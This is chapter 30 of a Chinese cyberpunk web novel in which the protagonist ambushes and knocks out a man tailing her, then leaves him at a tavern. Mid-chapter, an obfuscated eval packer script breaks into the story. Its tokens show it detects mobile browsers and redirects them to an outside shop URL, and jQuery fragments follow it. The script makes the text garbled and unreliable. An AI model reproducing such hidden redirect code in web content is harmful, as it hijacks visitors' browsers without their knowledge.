30. Chapter30酒馆琐事^^……
作品:《断火花后穿进中式赛博世界成为反派头子》 夜明风高。
谢如念离开赌场,她沿着小巷回去,偶尔驻足停留在几个小摊子前,看看能否捡漏。
灯火通明的赌场渐渐消失,谢如念路过一个十字路口,往人迹罕至的流浪地带走。
罗科不允许任何员工私自离开,如果没有能力与毅力干活,那就只能流浪,等待死亡的到来。
她闻到一股恶臭味,垃圾混杂污水的味道卷入鼻腔。下水道传来“吱吱”声,上方的井盖半掉不掉,架着两侧的石子堪堪存活,下一刻,五十米开外飞来一辆越野车,轮胎带起的风掀开井盖,沾满灰尘的盖子落入下水道,激起几滴黑色的水。
离开赌场之前,谢如念买了一瓶不知名白兰地,高浓度纯酒,她有时候的最爱。她拔出木塞,浓郁酒香传遍小巷。她喝了一口又盖上,举着酒瓶到处乱走,酒水从缝隙中逃离,落在地上,形成一条弯弯曲曲的线。
她走了二三十米,略微停顿半秒,确认身后那人仍在跟踪,放心地继续走。
早在出赌场那会儿,她便能感受到后方一束强烈的目光,像黏在身上一般,她讨厌这种感觉。
谢如念看见前方阴暗角落,堆积着大量空酒瓶,蚂蚁啃食发霉发臭的黑面包,将面包块一点点运进洞穴。
那里是个不错的动手地点。
她悠闲散步,又走了几十米,踩上瓶瓶罐罐,隐入黑暗。她扒住右手边的木窗栏,往上翻,脚尖勾到二楼阳台后拱背伸手,抓住悬在空中的粗绳,成功倒挂在绳上。
一个月的加急特训,不仅加强了她的心理素质,而且各方面得到恐怖提高。
谢如念看戏般吊在上方,她挑的这个小巷很暗,看不见任何人影,方便伏击。
对方跟丢目标后的脚步声变得慌张,一股浓烈的酒气扑面而来。谢如念眯眼,认出对方是丁卯。
他过来干嘛?谢如念想不出原因。
丁卯小心翼翼地避开酒瓶碎片,他抬头查看四周,除了漆黑还是漆黑,电子乌鸦的沙哑叫声闯进耳膜,像死神拿着镰刀奏响最后一曲。
他摸出口袋的枪,谢如念借助极小的微光看清手枪样式——马卡洛夫PM手枪,经过特殊改造,弹道缩短,同时增加子弹数量,可融合电磁液体,威力不亚于M9手枪。
丁卯移动了半分钟,没有找到谢如念的影子。
他的脸颊忽然落了一滴水,闻起来像是白兰地。
该死,谢如念忘记塞好木塞。
地下的人站在小巷中间,缓缓抬头,与粗绳上的谢如念对上视线。
“砰——”
酒瓶与子弹一同行动。
谢如念率先将剩下一大半的白兰地扔出,重重的酒瓶砸到丁卯的脚踝。他被迫受击后退,子弹打飞,蹭着谢如念的头盔没入黑暗。
“小美人站在上面干什么呢?”丁卯语气浪荡,完全不像之前那样成熟稳重。
谢如念没把他当成丁卯,她一手抓着粗绳,一手掏出M9,对准丁卯的脚腕,连发两枚子弹。
硝烟弥漫小巷,丁卯意识到来者不善,他歪嘴邪笑,靠着强问:“美女,我们之间有过节?我之前哪里得罪了你?”
“没过节,你一发子弹,我还你一发,礼尚往来,这不是规矩?”谢如念依旧隐藏在黑暗中。
微弱的光照亮她的大致轮廓,丁卯笑了:“那倒也是,美女,刚才在赌场玩的不错啊,能不能陪我玩几把?”
“现在的你,没有资格。”谢如念说。
丁卯不急,他询问:“怎么样才有资格?把别的女人怀里的钱给你,这样够资格了吗?”
谢如念冷冷地盯他,时间仿佛被无限拉长,她笑:“你拿起手中那把马卡洛夫PM,接着用枪口抵住自己的上颚,在失去意识前射空子弹,任由你的脑袋炸开血花,或许,我会考虑把你的尸体送回赌场,埋在阴湿的地下,让老鼠啃食。”
“所以?”丁卯看她,怒意渐渐腾烧,他开口,“你这是不答应?”
“还要我再重复一遍吗?”谢如念扔了颗M9子弹,弹壳好似它的主人,懒懒散散地滚到丁卯脚边。
“你知道我是谁吗!我可是……”
“知道知道,丁卯丁队长嘛,”谢如念粗暴打断,她轻轻抓紧粗绳,腾空向上,恰好坐到粗绳上,“与我何干?”
“你既然知道我的名字,就该清楚我上面的人是谁,是大老板身边的红人卫煜!”丁卯吼道,“敢这样对我无礼的只有一人,现在又多了你一个,我非……”
“另一个是谁?”谢如念抓住核心,几番对话,她已了解眼前丁卯的性格特点——喜欢抬杠,容易被人牵着鼻子走。
比如此时,他听见谢如念的问题,狂妄回应:“当然是我哥,我那贱得要死,事事阻止我的亲哥哥。”
谢如念悬在绳上的身子一僵。
“你哥呢?”
“他啊,马上就要死了,会被我亲手杀死,”丁卯重新装好子弹,不再多说,他警告道,“你有两个选择,要么现在和我回赌场,成为我的人,要么先下去。”
“唉,你听没听过一句话,”谢如念左手抓住粗绳,随时准备战斗,红眼闪过杀意,“给出为难人的选择的人,往往是故事里的反派。”
“他们活不久。”
甫一话毕,谢如念迅速动作起来,她的左手拉住粗绳,一用力,借助惯性让身体朝高处飞出去,同时侧身躲过飞来的子弹。
M9不具有很强的狭小地形作战能力,加之谢如念没带匕首,她打算先抢武器,再近身肉搏,打晕丁卯。
丁卯身上还有秘密,不能在这时候死掉。
谢如念稳稳落在不知名家的二楼阳台,隐没在石砌阳台里,感受到楼下的人飞快射击阳台,打碎几块玻璃。
“出来,滚出来和我决斗!”丁卯视力不好,又因匆忙出来没有佩戴透明镜,他只能不停尖叫,像无处泻火的野兽。
谢如念躺下,依稀能辨认出丁卯的倒影,对方的影子被远处的霓虹拉长,他边走边观察,生怕遭受攻击。
她轻抬枪,瞄准丁卯上方的枯死植物盆。子弹打碎盆栽,裂开的红瓦砸落,慢一拍躲开的丁卯受了伤,往后倒退几步,捂着额头冲二楼阳台发射子弹。
玻璃窗被打碎,渣渣好似水珠飞洒而出,伴随一团模糊不清的身影。
“马卡洛夫PM满弹12发,你刚刚已经用光了,还要继续玩吗?”谢如念站在丁卯背后发话,幽冷的声音宛如冰川,沁入虚空黑暗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022920|191756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丁卯站立着不敢说话,他的腰上抵着滚烫的枪口,但凡他微微移动,身后的人会把他打成筛子。
“你怎么……怎么就确定,我没有其他枪?”丁卯声音中混有一丝不安,声调甚至变形。
谢如念抬起枪柄,边敲晕他边回复:“你在见到我之前,摸遍全身上下的口袋,最后手里只拿了把马卡洛夫PM,我当然能合理怀疑。”
丁卯受到猛烈敲击,当场昏迷,身体倒在烂臭的酒瓶堆里,边上香浓的白兰地淌进他的衣领。
谢如念遗憾地瞄着地上的白兰地,一手拖拽丁卯的衣领,一手没收他手中的马卡洛夫PM。
她身上因多次撞击沾了不少灰尘,小巷又极为窄小,地上酒水混着血水,一滩不知是谁的血染上黑色工装,印下深色血迹,散发恶臭的腥味。
谢如念沿着破败大街走,找到一家小酒馆。木牌半悬,绳子受尽磨损,逐渐毛躁。
她见酒馆里没几人,拖着丁卯推门而入。
“两杯啤酒。”她拿出几枚白银钱,放在吧台上。
老板是位上年纪的白发大叔,他观察风尘仆仆进来的女人,闲着没事问道:“你们去打架了?”
“是,”谢如念把人丢在靠窗边的位置上,她走近吧台,喝了一大口冰镇啤酒,“有写字纸吗?”
“有的,”大叔把另一杯啤酒端来,顺便取出纸和笔,“给你,姑娘。”
“好,谢谢。”
“你刚进来那刻,全身乌黑,又带着血腥味,我差点以为敲窗人来了。”
“敲窗人?”谢如念微动眉心,她正握笔思考写点什么。
对于“敲窗人”的定义,她了解过一部分。工业革命时期,时钟的产生推动人们的时间观念加强,部分人群需要准时起床上班,由此产生“敲窗人”这一职业——专门用长棍敲打顾客的窗户,借此提醒顾客别忘记上班。
大叔点头:“是啊,传闻是死神的麾下,听说看见敲窗人的时候,便会知晓自己的死期。”
谢如念:“所以真的有这种人?”
“不不不,在这里只有小混混组成的冒牌敲窗人,而你刚刚进来时,那孤独与冷冽的气息,让我误以为遇到了真正的敲窗人。”大叔继续沉浸在他的无穷幻想中。
谢如念淡淡一笑,她往纸上写了一句话,将多余的纸张还给大叔,端着啤酒走回窗边。
丁卯挨着墙壁坐在地板上,他身上有几处简单擦伤,头部受击流血,现在慢慢结痂。
谢如念盯着室外的摩天景色,闲适地喝完啤酒。
流浪区的啤酒很劣质,小麦过度发酵,酿酒环境太过湿冷,尝起来有些微微变质。
谢如念看了眼表——午夜一点,她有点累了。
她放下啤酒,将白纸压在另一杯啤酒下方,起身推门。
“大叔,帮我看着我朋友呗,我出去找点药,要是半个小时之后没醒,记得叫醒他。”谢如念道。
“好嘞,慢走。”大叔目送谢如念离开,他扭头望着水珠不断下坠,最终浸湿白纸,渐渐晕开上面的字——
你是谁?
大叔望向门口,忽然意识到某些事情,果断地当作睁眼瞎,回到吧台擦洗玻璃酒杯。

